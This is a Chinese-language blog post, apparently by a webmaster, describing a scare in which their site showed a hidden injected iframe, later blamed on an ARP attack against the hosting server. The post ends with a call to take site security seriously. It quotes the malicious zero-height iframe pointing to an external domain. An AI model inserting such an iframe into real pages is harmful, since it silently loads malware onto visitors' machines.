從網站「掛馬」，看伺服器安全

仲介交易 HTTP://www.aliyun.com/zixun/aggregation/6858.html">SEO診斷 淘寶客 雲主機 技術大廳

今天中午，我的網站經歷了一場生死大劫：打開網頁奇慢...... 文章內頁只顯示標頭檔和標題，不顯示內容和尾檔...... 管理路徑打不開...... 勉強打開的網頁查了原始程式碼，發現一行可疑代碼：<iframe src=HTTP://c.j8j8.biz/103/ width=100 height=0></iframe>...... 迷糊，我的網站被掛馬了！！！

首先我在想，我的站怎麼會被掛馬，想起自己在多個貼吧留了自己的網址，可能是暴露網站樹敵的因素。 查了網站統計：有日本IP的訪問，並登陸了很多介面，從註冊到使用者中心管理，都有跡象。 之後就是最近的訪問IP，網站就出現問題了。 難道...... 嗯，應該想辦法解決...... 找備份檔案...... 先應恢復網頁的正常訪問。

但是備份檔案沒有在手裡，怎麼辦，先聯繫空間供應商吧。 QQ聯繫——回復：技術員還沒有回來——我的網頁依舊掛馬——頭痛...... 難道自己的網站就這麼癱了？ 沒辦法，自己先去查查問題吧：查資料庫連接檔，沒有可疑代碼；頭尾檔，沒有可以代碼；大資料夾，同樣沒有...... 哎，真可恨，難道把木馬植入每個頁面了？

不堪想像！

......
過了有半個小時，再次訪問我的網站：奇跡，恢復正常了！ 空間供應商回復：剛剛伺服器遭受攻擊，有ARP攻擊...... 哈哈，虛驚一場，原來是空間的問題...... 不知道有多少站長同胞遇到過這樣的問題。 網站被攻擊應該是家常便飯，伺服器遭受攻擊，也應該平常視之...... 原來，自己以前的小站太過安逸了。 暴風雨會讓自己的小站經受洗禮的。 不過，安全問題的確是大問題。 希望讀過這篇文章的站長同胞，把自己的網站和伺服器的安全問題重視起來。 如果小的不經意，真的會有大的損失！

歡迎對 www.e0435.com 進行安全指導！ 向戰鬥在黑防一線的網警和站長同胞們致敬！